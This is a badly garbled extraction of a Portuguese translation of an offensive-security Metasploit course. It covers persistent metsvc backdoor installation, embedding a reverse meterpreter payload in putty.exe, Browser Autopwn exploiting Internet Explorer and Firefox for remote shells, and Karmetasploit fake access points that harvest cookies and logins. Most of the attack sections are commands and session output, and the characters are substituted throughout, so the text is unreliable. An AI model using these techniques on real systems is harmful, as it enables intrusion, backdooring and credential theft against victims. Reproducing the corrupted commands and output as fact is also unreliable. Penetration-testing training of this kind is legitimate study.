789 Sen$in* sta*e (H14A)@ +ytes) 789 Meter0reter session 1 o0ene$ (14!51)65151@1:==== 32 14!51)65151@=:146A) meter0reter 2 0s "ro ess list ???????????? ";E 333 1A! 1H) ==@ )A! H4) 6A) 6== 66= 4@6 4(! 4)= 11!@ 11A) 1!A) 1()@ 1()6 1(4) 1)() 1H=6 14!6 !@!6 !6=@ A@@@ <ame 3333 tfmon5exe s- .ost5exe JM%areSer-i e5exe 'x0lorer5'K' smss5exe JM%areTray5exe JM%are&ser5exe srss5exe %inlo*on5exe ser-i es5exe lsass5exe -ma t.l05exe s- .ost5exe s- .ost5exe al*5exe #]DSLER!5exe Gus .e$5exe msms*s5exe s0ools-5exe Gqs5exe snm05exe A0roxy5exe mm 5exe "at. 3333 D:U#;<EO#SUsystemA!U tfmon5exe D:U#;<EO#SUsystemA!Us- .ost5exe D:U"ro*ram LilesUJM%areUJM%are ToolsUJM%areSer-i e5exe D:U#;<EO#SU'x0lorer5'K' USystemRootUSystemA!Usmss5exe D:U"ro*ram LilesUJM%areUJM%are ToolsUJM%areTray5exe D:U"ro*ram LilesUJM%areUJM%are ToolsUJM%are&ser5exe UFFUD:U#;<EO#SUsystemA!U srss5exe UFFUD:U#;<EO#SUsystemA!U%inlo*on5exe D:U#;<EO#SUsystemA!User-i es5exe D:U#;<EO#SUsystemA!Ulsass5exe D:U"ro*ram LilesUJM%areUJM%are ToolsU-ma t.l05exe D:U#;<EO#SUsystemA!Us- .ost5exe D:U#;<EO#SUsystemA!Us- .ost5exe D:U#;<EO#SUSystemA!Ual*5exe D:U"ro*ram LilesUA<;UA<;#]DS! Ser-i eU#]DSLER!5exe D:U"ro*ram LilesURa-aUGre)U+inUGus .e$5exe D:U"ro*ram LilesUMessen*erUmsms*s5exe D:U#;<EO#SUsystemA!Us0ools-5exe D:U"ro*ram LilesURa-aUGre)U+inUGqs5exe D:U#;<EO#SUSystemA!Usnm05exe D:UA0roxyU+inUA0roxy5exe D:U#;<EO#SUsystemA!Umm 5exe

meter0reter 2 mi*rate )A! 789 Mi*ratin* to )A!555 789 Mi*ration om0lete$ su

essfully5

Antes de instalar metsvc, vamos ver (uais op6es esto dispon5veis para n/s.
meter0reter 2 run mets789 O"T;O<S: 3A 3. 3r meter0reter 2 3.

Automati ally start a mat .in* multi,.an$ler to onne t to t.e ser-i e T.is .el0 menu &ninstall an existin* Meter0reter ser-i e (files must +e $elete$ manually)

3esde 4 estamos ligados atravs de uma sesso !eterpreter, no vamos defini&lo para ligar de volta para n/s imediatamente. 0/s vamos apenas instalar o servio agora.
!eter0reter 2 run mets789 Dreatin* a meter0reter ser-i e on 0ort A1AAH 789 Dreatin* a tem0orary installation $ire tory D:UEOD&M'a1U-i timULODALSa1UTem0UR0lT0Jn1s.555 789 22 &0loa$in* metsr-5$ll555 789 22 &0loa$in* mets- 3ser-er5exe555 789 22 &0loa$in* mets- 5exe555 789 Startin* t.e ser-i e555 789 8 ;nstallin* ser-i e mets8 Startin* ser-i e Ser-i e mets- su essfully installe$5 meter0reter

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

E l vamos n/s: O servio 4 est instalado e aguardando uma coneAo. 0o vamos mant&la longa espera no R

Interactin' %it$ Mets(c


8amos agora usar o manipulador D multi com uma carga de 1#indo#s D metsvc[bind[tcp Kpara se conectar ao sistema remoto. ?rata&se de uma carga especial, como, normalmente, uma carga !eterpreter multiestgios, onde uma (uantidade m5nima de c/digo enviado como parte da eAplorao, e muito mais carregado ap/s a eAecuo de c/digo tem sido realizado. 2ense em um foguete nave, e os foguetes (ue so utilizados para obter o _nibus espacial em /rbita. Esta a mesma coisa, eAceto (ue ao invs de itens eAtra de estar l e depois cair fora, !eterpreter comea to pe(ueno (uanto poss5vel, em seguida, adiciona. 0este caso, porm, o c/digo completo !eterpreter 4 foram enviados para a m(uina remota, e no necessidade de uma coneAo encenado. 0/s estabelecemos todas as nossas op6es para Kmetsvc[bind[tcp 1com o endereo E2 da v5tima e 7 porta, (ueremos ter o servio em contato com nossa m(uina. Em seguida, eAecutar o eAploit.
msf 2 use ex0loit,multi,.an$ler msf ex0loit(.an$ler) 2 set "AMLOAE %in$o%s,mets- >+in$>t 0 "AMLOAE ?2 %in$o%s,mets- >+in$>t 0 msf ex0loit(.an$ler) 2 set L"ORT A1AAH L"ORT ?2 A1AAH msf ex0loit(.an$ler) 2 set RHOST 14!51)65151@= RHOST ?2 14!51)65151@= msf ex0loit(.an$ler) 2 s.o% o0tions Mo$ule o0tions: <ame 3333 Durrent Settin* 333333333333333 Require$ 33333333 Ees ri0tion 33333333333

"ayloa$ o0tions (%in$o%s,mets- >+in$>t 0): <ame 3333 'K;TL&<D L"ORT RHOST Durrent Settin* 333333333333333 t.rea$ A1AAH 14!51)65151@= Require$ 33333333 yes yes no Ees ri0tion 33333333333 'xit te .nique: se.B t.rea$B 0ro ess T.e lo al 0ort T.e tar*et a$$ress

'x0loit tar*et: ;$ 33 @ <ame 3333 #il$ ar$ Tar*et

msf ex0loit(.an$ler) 2 ex0loit

Emediatamente ap/s a emisso de 1eAplorar1, a nossa bac$door metsvc liga de volta para n/s.
789 Startin* t.e 0ayloa$ .an$ler555 789 Starte$ +in$ .an$ler 789 Meter0reter session ! o0ene$ (14!51)65151@1:)@6=@ 32 14!51)65151@=:A1AAH) meter0reter 2 0s

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

"ro ess list ???????????? ";E 333 1=@ 1)6 166 !1) !!6 A6@ =@6 === =6@ (@@ (!6 ()= (66 )H) H!= H)= 61) 666 64) 4=@ 4H! 1@@@ 1@66 <ame 3333 smss5exe srss5exe %inlo*on5exe ser-i es5exe lsass5exe s- .ost5exe s0ools-5exe s- .ost5exe re*s- 5exe MSTas15exe JM%areSer-i e5exe mets- 5exe #inM*mt5exe m$5exe m$5exe mm 5exe mets- 3ser-er5exe JM%areTray5exe JM%are&ser5exe firefox5exe T"AutoDonnS- 5exe 'x0lorer5exe T"AutoDonne t5exe "at. 3333 USystemRootUSystemA!Usmss5exe UFFUD:U#;<<TUsystemA!U srss5exe UFFUD:#;<<TUsystemA!U%inlo*on5exe D:U#;<<TUsystemA!User-i es5exe D:U#;<<TUsystemA!Ulsass5exe D:U#;<<TUsystemA!Us- .ost5exe D:U#;<<TUsystemA!Us0ools-5exe D:U#;<<TUSystemA!Us- .ost5exe D:U#;<<TUsystemA!Ure*s- 5exe D:U#;<<TUsystemA!UMSTas15exe D:U"ro*ram LilesUJM%areUJM%are ToolsUJM%areSer-i e5exe :U#;<<TUmyUmets- 5exe D:U#;<<TUSystemA!U#B'MU#inM*mt5exe D:U#;<<TUSystemA!U m$5exe D:U#;<<TUSystemA!U m$5exe D:U#;<<TUsystemA!Umm 5exe :U#;<<TUmyUmets- 3ser-er5exe D:U"ro*ram LilesUJM%areUJM%are ToolsUJM%areTray5exe D:U"ro*ram LilesUJM%areUJM%are ToolsUJM%are&ser5exe D:U"ro*ram LilesUMoIilla LirefoxUfirefox5exe D:U"ro*ram LilesUJM%areUJM%are ToolsUT"AutoDonnS- 5exe D:U#;<<TU'x0lorer5exe D:U"ro*ram LilesUJM%areUJM%are ToolsUT"AutoDonne t5exe

meter0reter 2 0%$ D:U#;<EO#SUsystemA! meter0reter 2 *etui$ Ser-er username: <T A&THOR;TMUSMST'M meter0reter 2

E a(ui temos uma sesso !eterpreter t5pico: 0ovamente, cuidado com (uando e como usar este tru(ue. Os proprietrios do sistema no ser feliz se voc fizer um trabal o fcil para os atacantes, colocando&os como um bac$door no sistema 'til para eles.

MSF E7ten#e# Usa'e


O !etasploit "rame#or$ como um ativo verstil em todos os pentesters ?ool$it, um c o(ue v& lo sendo eApandida no constantemente. 3evido 7 abertura do (uadro, como as novas tecnologias e as faan as de superf5cie (ue so rapidamente incorporadas no tronco svn !%" ou usurios finais escrever seus pr/prios m/dulos e compartil &los como bem entenderem. 0/s estaremos falando sobre Pro#ser Autop#n, Uarmetasploit e segmentao !ac O% C. *om uma das 'ltimas revis6es a !etasploit veio um recurso adicional (ue muitas vezes teve um longo per5odo de tempo para o fazer manualmente, como atacantes. A capacidade de incorporar uma carga !etasploit em (ual(uer eAecutvel (ue voc dese4a simplesmente bril ante. Huando eu digo (ual(uer eAecutvel, o seu eAecutvel (ual(uer. 8oc (uer algo bac$door (ue voc baiAa da internetR *omo cerca de ieAplorerR Ou eAplorer.eAe ou putt<, (ual(uer uma dessas iria trabal ar. A mel or parte sobre ela sua eAtremamente simples. A(ui um forro sobre como tomar (ual(uer eAecutvel (ue voc (uer e inserir (ual(uer carga (ue voc dese4a.

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

reli1Sfortress:,0entest,ex0loits,frame%or1AT 5,msf0ayloa$ %in$o%s,meter0reter,re-erse>t 0 LHOST?1@51@5151A! L"ORT?6@6@ R Y 5,msfen o$e 3t exe 3x ,tm0,0utty5exe 3o ,tm0,0utty>+a 1$oore$5exe 3e x6),s.i1ata>*a>nai 3 ( 789 x6),s.i1ata>*a>nai su ee$e$ %it. siIe 4!H (iteration?1) 789 x6),s.i1ata>*a>nai su ee$e$ %it. siIe 1@!A (iteration?!) 789 x6),s.i1ata>*a>nai su ee$e$ %it. siIe 1@4A(iteration?A) 789 x6),s.i1ata>*a>nai su ee$e$ %it. siIe 114A (iteration?=) 789 x6),s.i1ata>*a>nai su ee$e$ %it. siIe 1!=6 (iteration?() reli1Sfortress:,0entest,ex0loits,frame%or1AT 5,msf li ex0loit,multi,.an$ler 0ayloa$?s.i1ata>*a>nai l.ost?1@51@515!A1 l0ort?6@6@ 0ayloa$?%in$o%s,meter0reter,re-erse>t 0 ' 789 "lease %ait %.ile %e loa$ t.e mo$ule tree555 789 Starte$ re-erse .an$ler on 0ort 6@6@ 789 Startin* t.e 0ayloa$ .an$ler555

Agora cli(ue em putt<.eAe e ter o seu ouvinte e at agora voc bac$doored seu primeiro eAecutvel e desfrutar de sua conc a meterpreter.

9ro%ser Autop%n
0a 3efcon T`, desenvolvedor !etasploit Prasil revelou Pro#ser Autop#n de !%". Este m/dulo eAcitante novo bro#ser eAecuta impress6es digitais antes de lanar eAplora a v5tima. 2ortanto, se o 2* remoto est usando o Enternet EAplorer \, no vai lanar o EE` eAplora&la. O con4unto de slides para apresentao do Egito est dispon5vel para o seu prazer na leitura T`&presentationsDdefcon&T`& eg<pt&guided[missiles[metasploit.pdf ttpLDDdefcon.orgDimagesDdefcon&T`Ddc&. O m/dulo de configurao para o Kservidor bro#ser[autop#n DK eAtremamente simples, como mostrado abaiAo.
msf 2 use ser-er,+ro%ser>auto0%n msf auxiliary(+ro%ser>auto0%n) 2 s.o% o0tions Mo$ule o0tions: <ame 3333 LHOST SRJHOST SRJ"ORT SSL &R;"ATH Durrent Settin* 333333333333333 14!51)65151@1 @5@5@5@ 6@6@ false Require$ 33333333 yes yes yes no no Ees ri0tion 33333333333 T.e ;" a$$ress T.e lo al .ost T.e lo al 0ort &se SSL T.e &R; to use

to use for re-erse3 onne t 0ayloa$s to listen on5 to listen on5 for t.is ex0loit ($efault is ran$om)

msf auxiliary(+ro%ser>auto0%n) 2 set uri0at. , uri0at. ?2 , msf auxiliary(+ro%ser>auto0%n) 2

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

Esso realmente tudo o (ue para a configurao necessria. Agora vamos eAecut&lo e ver o (ue ele faz.
)s0 au7i&iar:?.ro%ser@autop%nA B run EFG Au7i&iar: )o#u&e runnin' as .ac5'roun# 1o. )s0 au7i&iar:?.ro%ser@autop%nA B EFG Startin' e7p&oit )o#u&es on $ost =PIJ=KSJ=J=M=JJJ EFG --JJJsnipJJJ EFG Startin' e7p&oit )u&ti8.ro%ser80ire0o7@escape@ret(a& %it$ pa:&oa# 'eneric8s$e&&@re(erse@tcp EFG Han#&er .in#in' to LHOST MJMJMJM EFG Starte# re(erse $an#&er EFG Usin' URL $ttp 88MJMJMJM SMSM8>4t'Ho4 EFG Loca& IP $ttp 88=PIJ=KSJ=J=M= SMSM8>4t'Ho4 EFG Ser(er starte#J EFG Startin' e7p&oit )u&ti8.ro%ser8)o>i&&a@co)pareto %it$ pa:&oa# 'eneric8s$e&&@re(erse@tcp EFG Han#&er .in#in' to LHOST MJMJMJM EFG Starte# re(erse $an#&er EFG Usin' URL $ttp 88MJMJMJM SMSM8(TN2U7 EFG Loca& IP $ttp 88=PIJ=KSJ=J=M= SMSM8(TN2U7 EFG Ser(er starte#J EFG Startin' e7p&oit )u&ti8.ro%ser8)o>i&&a@na(i'ator1a(a %it$ pa:&oa# 'eneric8s$e&&@re(erse@tcp EFG Han#&er .in#in' to LHOST MJMJMJM EFG Starte# re(erse $an#&er EFG Usin' URL $ttp 88MJMJMJM SMSM8a.)RLL17StsFH EFG Loca& IP $ttp 88=PIJ=KSJ=J=M= SMSM8a.)RLL17StsFH EFG Ser(er starte#J EFG Startin' e7p&oit )u&ti8.ro%ser8opera@con0i'o(er%rite %it$ pa:&oa# 'eneric8s$e&&@re(erse@tcp EFG Han#&er .in#in' to LHOST MJMJMJM EFG Starte# re(erse $an#&er JJJsnipJJJ EFG Starte# re(erse $an#&er EFG Usin' URL $ttp 88MJMJMJM SMSM8R#DD$KANp6 EFG Loca& IP $ttp 88=PIJ=KSJ=J=M= SMSM8R#DD$KANp6 EFG Ser(er starte#J EFG --- DoneR 0oun# == e7p&oit )o#u&es EFG Usin' URL $ttp 88MJMJMJM SMSM8 EFG Loca& IP $ttp 88=PIJ=KSJ=J=M= SMSM8 EFG Ser(er starte#J No% a&& %e nee# to #o is 'et so)e poor (icti) to na(i'ate to our )a&icious %e.site an# %$en t$e: #oR 9ro%ser Autop%n %i&& tar'et t$eir .ro%ser .ase# on its (ersionJ EFG Re"uest V8V 0ro) =PIJ=KSJ=J=IS =HKH EFG Re"uest V8Wsessi#D6I&uX2PLc>pCUDp=.)R&X)&uXW;KXWNt#<MKeD'IO5=TSUUKNiN%O=N;M1oDV 0ro) =PIJ=KSJ=J=IS =HKH EFG Ua(aScript Report Win#o%s <P un#e0ine# en-us 7SK MSIE KJMYSPI EFG No #ata.aseR usin' tar'etcac$e instea# EFG Respon#in' %it$ e7p&oits EFG Sen#in' Internet E7p&orer 4OM 4reateO.1ect 4o#e E7ecution e7p&oit HTML to =PIJ=KSJ=J=IS =HHNJJJ EFG Sen#in' Internet E7p&orer Da7ct&eJO4< Ke:Fra)e Met$o# Heap 9u00er O(er0&o% 6u&nera.i&it: to =PIJ=KSJ=J=IS =HHQJJJ EFG Sen#in' Microso0t Internet E7p&orer Data 9in#in' Me)or: 4orruption init HTML to =PIJ=KSJ=J=IS =HHNJJJ EFG Sen#in' E<E pa:&oa# to =PIJ=KSJ=J=IS =HHQJJJ

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

EFG Sen#in' sta'e ?H=SLLK .:tesA EFG Meterpreter session = opene# ?=PIJ=KSJ=J=M= KILKM -B =PIJ=KSJ=J=IS =HPSA )s0 au7i&iar:?.ro%ser@autop%nA B sessions -& Acti(e sessions DDDDDDDDDDDDDDD I# Description Tunne& -- ----------- -----= Meterpreter =PIJ=KSJ=J=M= KILKM -B =PIJ=KSJ=J=IS =HPS )s0 au7i&iar:?.ro%ser@autop%nA B sessions -i = EFG Startin' interaction %it$ =JJJ )eterpreter B s:sin0o 4o)puter <P-SPI-9ARE OS Win#o%s <P ?9ui&# IKMMR Ser(ice Pac5 IAJ )eterpreter B ipcon0i' MS T4P Loop.ac5 inter0ace Har#%are MA4 MM MM MM MM MM MM IP A##ress =IHJMJMJ= Net)as5 IQQJMJMJM

AMD P4NET Fa)i&: P4I Et$ernet A#apter - Pac5et Sc$e#u&er Miniport Har#%are MA4 MM Mc IP N= 0I eS IP A##ress =PIJ=KSJ=J=IS Net)as5 IQQJIQQJMJM )eterpreter B

Operao muito escorregadio: E no limitada apenas ao Enternet EAplorer. !esmo o "irefoA pode ser abusado.
789 Request ',' from 14!51)651511!:11!! 789 Request ',Fsessi$?J!lu]G4A I0M&E01+mRl]mlu]#^)]n;tRl;)eE*!O1]0 mJm+A*)MTo?' from 14!51)651511!:11!! 789 Ra-aS ri0t Re0ort: #in$o%s:K":un$efine$:fr3LR:x6):Lirefox:1: 789 <o $ata+aseB usin* tar*et a .e instea$ 789 Res0on$in* %it. ex0loits 789 Request ',fa-i on5i o' from 14!51)651511!:11!A 789 =@=in* ,fa-i on5i o 789 Sen$in* MoIilla Suite,Lirefox ;nstallJersion32 om0areTo() Do$e 'xe ution to 14!51)651511!:11!=555 789 Sen$in* MoIilla Suite,Lirefox <a-i*ator O+Ge t Do$e 'xe ution to 14!51)651511!:11!(555 789 Sen$in* Lirefox A5( es a0e() Return Jalue Memory Dorru0tion to 14!51)651511!:11!A555 789 Sen$in* MoIilla Suite,Lirefox ;nstallJersion32 om0areTo() Do$e 'xe ution to 14!51)651511!:11!(555 789 Domman$ s.ell session A o0ene$ (14!51)65151@1:()==A 32 14!51)651511!:11!)) msf auxiliary(+ro%ser>auto0%n) 2 sessions 3i A 789 Startin* intera tion %it. A555 Mi rosoft #in$o%s K" 7Jersion (515!)@@9 (D) Do0yri*.t 146(3!@@1 Mi rosoft Dor05 D:U"ro*ram LilesUMoIilla Lirefox2.ostname .ostname $oo1ie3fa1(=A(=

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

D:U"ro*ram LilesUMoIilla Lirefox2i0 onfi* i0 onfi* #in$o%s ;" Donfi*uration 't.ernet a$a0ter Lo al Area Donne tion: Donne tion3s0e ifi ;" A$$ress5 5 5 5 5 Su+net Mas1 5 5 5 5 Eefault Gate%ay 5 5 E<S 5 5 5 5 5 5 Suffix 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 : : : : $oo1ie 14!51)651511! !((5!((5@5@ 14!51)65151

D:U"ro*ram LilesUMoIilla Lirefox2

Kar)etasp&oit
Uarmetasploit uma grande funo na !etasploit, permitindo&l e pontos de acesso falso, capturar sen as, dados de col eita, e realizar ata(ues contra os clientes do navegador.

4on0i'uration
) um pouco de configurao necessria para obter Uarmetasploit a funcionar. O primeiro passo obter o ar(uivo de controle de eAecuo para UarmetasploitL
rootS+t=:,0entest,ex0loits,frame%or1AT %*et ".tt0:,,metas0loit5 om,users,.$m,tools,1arma5r " 33!@@43@(3@= 16:=A:!)33 .tt0:,,metas0loit5 om,users,.$m,tools,1arma5r Resol-in* metas0loit5 om555 ))5!=@5!1A561 Donne tin* to metas0loit5 omY))5!=@5!1A561Y:6@555 onne te$5 HTT" request sentB a%aitin* res0onse555 !@@ OX Len*t.: 1@66 (151X) 7text,0lain9 Sa-in* to: Z1arma5r ' 1@@C7????????????????????????????????????????????????????????????????????????????29 1B@66 3353X,s in @s !@@43@(3@= 16:=A:!H (665H MB,s) 3 Z1arma5r ' sa-e$ 71@66,1@669

?endo obtido esse re(uisito, preciso criar um pouco da infra&estrutura (ue sero necessrias. Huando os clientes atribuem 7 A2 falso corremos, eles estaro 7 espera de ser atribu5do um endereo E2. *omo tal, preciso colocar um servidor 3)*2 no lugar. 8amos configurar o nosso 1ar(uivo d cpd.conf.
rootS+t=:,0entest,ex0loits,frame%or1AT o0tion $omain3name3ser-ers 1@5@5@51V $efault3lease3time )@V max3lease3time H!V $$ns3u0$ate3style noneV aut.oritati-eV lo*3fa ility lo alHV su+net 1@5@5@5@ netmas1 !((5!((5!((5@ W ran*e 1@5@5@51@@ 1@5@5@5!(=V o0tion routers 1@5@5@51V o0tion $omain3name3ser-ers 1@5@5@51V \ at ,et ,$. 0A,$. 0$5 onf

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

Ento n/s precisamos instalar alguns re(uisitos.


rootS+t=:aT *em install a ti-ere or$ sqliteA3ru+y Su essfully installe$ a ti-ere or$3!5A5! Buil$in* nati-e extensions5 T.is oul$ ta1e a %.ile555 Su essfully installe$ sqliteA3ru+y315!5= ! *ems installe$ ;nstallin* ri $o umentation for a ti-ere or$3!5A5!555 ;nstallin* ri $o umentation for sqliteA3ru+y315!5=555 ;nstallin* REo $o umentation for a ti-ere or$3!5A5!555 ;nstallin* REo $o umentation for sqliteA3ru+y315!5=555

Agora estamos prontos para ir. 2rimeiro, temos (ue reiniciar nossa placa #ireless em modo monitor. 2ara fazer isso, primeiro parar a interface, ento use airmon&ng para reinici&lo em modo monitor. Ento, n/s utilizamos airbase&ng para iniciar uma nova rede.
rootS+t=:aT airmon3n* ;nterfa e %ifi@ at.@ D.i0set At.eros At.eros Eri-er ma$%ifi3n* ma$%ifi3n* JA" (0arent: %ifi@)

rootS+t=:aT airmon3n* sto0 at.@ ;nterfa e %ifi@ at.@ D.i0set At.eros At.eros Eri-er ma$%ifi3n* ma$%ifi3n* JA" (0arent: %ifi@) (JA" $estroye$)

rootS+t=:aT airmon3n* start %ifi@ Loun$ A 0ro esses t.at oul$ ause trou+le5 ;f airo$um03n*B aire0lay3n* or airtun3n* sto0s %or1in* after a s.ort 0erio$ of timeB you may %ant to 1ill (some of) t.em/ 3e ";E <ame ()A) <et%or1Mana*er ()=1 %0a>su00li ant (H=6 $. lientA ;nterfa e D.i0set Eri-er

%ifi@ At.eros ma$%ifi3n*'rror for %ireless request "Set Lrequen y" (6B@=) : S'T faile$ on $e-i e at.@ V <o su . $e-i e5 at.@: 'RROR %.ile *ettin* interfa e fla*s: <o su . $e-i e at.1 At.eros ma$%ifi3n* JA" (0arent: %ifi@)

rootS+t=:aT air+ase3n* 3" 3D A@ 3e "& R "#<E" 3- at.1 Lor informationB no a tion require$: &sin* *ettimeof$ay() instea$ of ,$e-,rt !!:(!:!( Dreate$ ta0 interfa e at@ !!:(!:!( Tryin* to set MT& on at@ to 1(@@ !!:(!:!( Tryin* to set MT& on at.1 to 16@@ !!:(!:!( A ess "oint %it. BSS;E @@:1A:=E:=4:@B:!) starte$5

Airbase&ng criou uma nova interface para n/s, A?.. Esta a interface, vamos agora utilizar. 8amos agora atribuir um endereo E2 e iniciar o nosso servidor 3)*2 escuta na nossa nova interface.

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

rootS+t=:aT if onfi* at@ u0 1@5@5@51 netmas1 !((5!((5!((5@ rootS+t=:aT $. 0$A 3 f ,et ,$. 0A,$. 0$5 onf at@ ;nternet Systems Donsortium EHD" Ser-er JA5151 Do0yri*.t !@@=3!@@6 ;nternet Systems Donsortium5 All ri*.ts reser-e$5 Lor infoB 0lease -isit .tt0:,,%%%5is 5or*,s%,$. 0, #rote @ leases to leases file5 Listenin* on L"L,at@,@@:1a:=$:=4:@+:!),1@5@5@,!= Sen$in* on L"L,at@,@@:1a:=$:=4:@+:!),1@5@5@,!= Sen$in* on So 1et,fall+a 1,fall+a 13net Dan't reate ";E file ,-ar,run,$. 0$50i$: "ermission $enie$5 rootS+t=:aT 0s aux Y *re0 $. 0$ $. 0$ )=4@ @5@ @51 A61! 16=@ F Ss !!:(( @:@@ $. 0$A 3 f ,et ,$. 0A,$. 0$5 onf at@ root )=4A @5@ @5@ A!A! H66 0ts,@ SQ !!:(( @:@@ *re0 $. 0$

Kar)etasp&oit in Action
Agora, com tudo pronto, tudo o (ue resta correr Uarmetasploit: 0/s comeamos acima !etasploit, alimentando o nosso ar(uivo de controle de eAecuo.
rootS+t=:aT $ ,0entest,ex0loits,frame%or1A, rootS+t=:,0entest,ex0loits,frame%or1AT 5,msf onsole 3r 1arma5r > Y Y o > > > > >Y> >>B B > Y Y >> >Y> , Y, Y, Y Y, Y , Y , >Y, >Y, , >Y Y Y Y Y>,Y>>,Y>,>,Y>, , Y>>, Y>>,>>, Y>,Y>, ,Y Y ?7 Q 33 33?7 Q 33 33?7 ?7 metas0loit -A5A3r 1 7 ore:A5A a0i:15@9 AH! ex0loits 3 !A= 0ayloa$s !@ en o$ers 3 H no0s 1=4 aux

resour e2 loa$ $+>sqliteA 739 739 T.e fun tionality 0re-iously 0ro-i$e$ +y t.is 0lu*in .as +een 739 inte*rate$ into t.e ore omman$ set5 &se t.e ne% '$+>$ri-er' 739 omman$ to use a $ata+ase $ri-er ot.er t.an sqliteA (%.i . 739 is no% t.e $efault)5 All of t.e ol$ omman$s are t.e same5 739 739 Laile$ to loa$ 0lu*in from ,0entest,ex0loits,frame%or1A,0lu*ins,$+>sqliteA: Ee0re ate$ 0lu*in resour e2 $+> reate ,root,1arma5$+ 789 Dreatin* a ne% $ata+ase instan e555 789 Su essfully onne te$ to t.e $ata+ase 789 Lile: ,root,1arma5$+ resour e2 use auxiliary,ser-er,+ro%ser>auto0%n resour e2 set* A&TO"#<>HOST 1@5@5@51 A&TO"#<>HOST ?2 1@5@5@51 resour e2 set* A&TO"#<>"ORT ((((@ A&TO"#<>"ORT ?2 ((((@ resour e2 set* A&TO"#<>&R; ,a$s A&TO"#<>&R; ?2 ,a$s resour e2 set LHOST 1@5@5@51 555sni0555 789 &sin* &RL: .tt0:,,@5@5@5@:((((@,.Ir6^G4(D 789 Lo al ;": .tt0:,,14!51)65!5!:((((@,.Ir6^G4(D 789 Ser-er starte$5 789 Han$ler +in$in* to LHOST @5@5@5@ 789 Starte$ re-erse .an$ler 789 Ser-er starte$5 789 Han$ler +in$in* to LHOST @5@5@5@ 789 Starte$ re-erse .an$ler

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

789 Ser-er starte$5 msf auxiliary(.tt0) 2

0este momento, estamos a funcionar. ?udo o (ue eAigido agora para um cliente para se conectar ao ponto de acesso falso. Huando ligar, eles vo ver uma farsa 1cativo1 tela portal de estilo, independentemente do (ue Beb site (ue tenta conectar&se. 8oc pode ol ar atravs de sua sa5da, e ver (ue um grande n'mero de diferentes servidores so iniciados. 3e 30%, 2O2I, E!A2, )??2 para vrios servidores, temos uma ampla rede agora convertido para capturar vrios bits de informao. Agora vamos ver o (ue acontece (uando um cliente se conecta ao A2 falso crimos.
msf auxiliary(.tt0) 2 789 E<S 1@5@5@51@@:1!H) K;E 6H (;<::A %%%5msn5 om) 789 E<S 1@5@5@51@@:1!H) K;E 6H (;<::A %%%5msn5 om) 789 HTT" R'^&'ST 1@5@5@51@@ 2 %%%5msn5 om:6@ G'T , #in$o%s ;' (5@1 oo1ies?MD1?J?AbG&;E?e!ea+ )4+e((=eA(6Ha e6=4@1a(A$AV M&;E?'H'@)(HH)EBD=@@446(1B1)AA6EB6!H(V m.?MSLTV D&LT&R'?'<3&SV Ii0?I:)61@1Yla:=15!)Ylo:34)5@1AY :&SY.r:1V Lli*.tGrou0;$?1=V Lli*.t;$?Base"a*eV .0s-r?M:(YL:(YT:(Y':(YE:+luY#:LV .0 li?#5HYL5YS5YR5Y&5LYD5YH5V us.0%ea?% :&S<'@A)AV %0-?! 789 E<S 1@5@5@51@@:1!H4 K;E 66 (;<::A a$%or$s5*oo*le5 om) 789 E<S 1@5@5@51@@:1!H4 K;E 66 (;<::A a$%or$s5*oo*le5 om) 789 E<S 1@5@5@51@@:1!6@ K;E 64 (;<::A +lo**er5 om) 789 E<S 1@5@5@51@@:1!6@ K;E 64 (;<::A +lo**er5 om) 555sni0555 789 E<S 1@5@5@51@@:1!64 K;E 4( (;<::A *mail5 om) 789 E<S 1@5@5@51@@:1!64 K;E 4( (;<::A *mail5 om) 789 E<S 1@5@5@51@@:1!64 K;E 4( (;<::A *mail5 om) 789 E<S 1@5@5@51@@:1!4! K;E 4) (;<::A *mail5*oo*le5 om) 789 E<S 1@5@5@51@@:1!4! K;E 4) (;<::A *mail5*oo*le5 om) 789 E<S 1@5@5@51@@:1!4! K;E 4) (;<::A *mail5*oo*le5 om) 789 E<S 1@5@5@51@@:1!4! K;E 4) (;<::A *mail5*oo*le5 om) 789 E<S 1@5@5@51@@:1!4! K;E 4) (;<::A *mail5*oo*le5 om) 789 Request ',a$s' from 1@5@5@51@@:1!H6 789 Re or$in* $ete tion from &ser3A*ent 789 E<S 1@5@5@51@@:1!4! K;E 4) (;<::A *mail5*oo*le5 om) 789 Bro%ser laims to +e MS;' (5@1B runnin* on #in$o%s !@@@ 789 E<S 1@5@5@51@@:1!4A K;E 4H (;<::A *oo*le5 om) 789 'rror: S^LiteA::S^L'x e0tion annot start a transa tion %it.in a transa tion ,usr,li+,ru+y,156,sqliteA,errors5r+:)!:in Z .e 1',usr,li+,ru+y,156,sqliteA,resultset5r+:=H:in Z .e 1',usr,li+,ru+y,156,sqliteA,resultset5r+:A4:in Z ommen e',usr,li+,ru+y,156,sqliteA 555sni0555 789 HTT" R'^&'ST 1@5@5@51@@ 2 e a$emy5 om:6@ G'T ,forms5.tml #in$o%s ;' (5@1 oo1ies? 789 HTT" R'^&'ST 1@5@5@51@@ 2 fa e+oo15 om:6@ G'T ,forms5.tml #in$o%s ;' (5@1 oo1ies? 789 HTT" R'^&'ST 1@5@5@51@@ 2 *at.er5 om:6@ G'T ,forms5.tml #in$o%s ;' (5@1 oo1ies? 789 HTT" R'^&'ST 1@5@5@51@@ 2 *mail5 om:6@ G'T ,forms5.tml #in$o%s ;' (5@1 oo1ies? 789 HTT" R'^&'ST 1@5@5@51@@ 2 *mail5*oo*le5 om:6@ G'T ,forms5.tml #in$o%s ;' (5@1 oo1ies?"R'L?;E?=H=)6) (6!f1A+e):&?e ae 1!$H6faa1+a:TM?1!=1AA=6(H:LM?1!=1AA=66@:S?sne"R&GM3 I* K0'JV <;E?!!?nLGMMG3lHLaTHqIAI%KGen4>miI6REn>rA3 l">;+Bo s+Am=eLDH).;1ae!A*.%enHa'GltA(.i]+GA!*16iHm6u4]aH16;LyaE'RR%@;01sT6uHHsRGTMf0Alne1-B6 789 HTT" R'^&'ST 1@5@5@51@@ 2 *oo*le5 om:6@ G'T ,forms5.tml #in$o%s ;' (5@1 oo1ies?"R'L?;E?=H=)6) (6!f1A+e):&?e ae 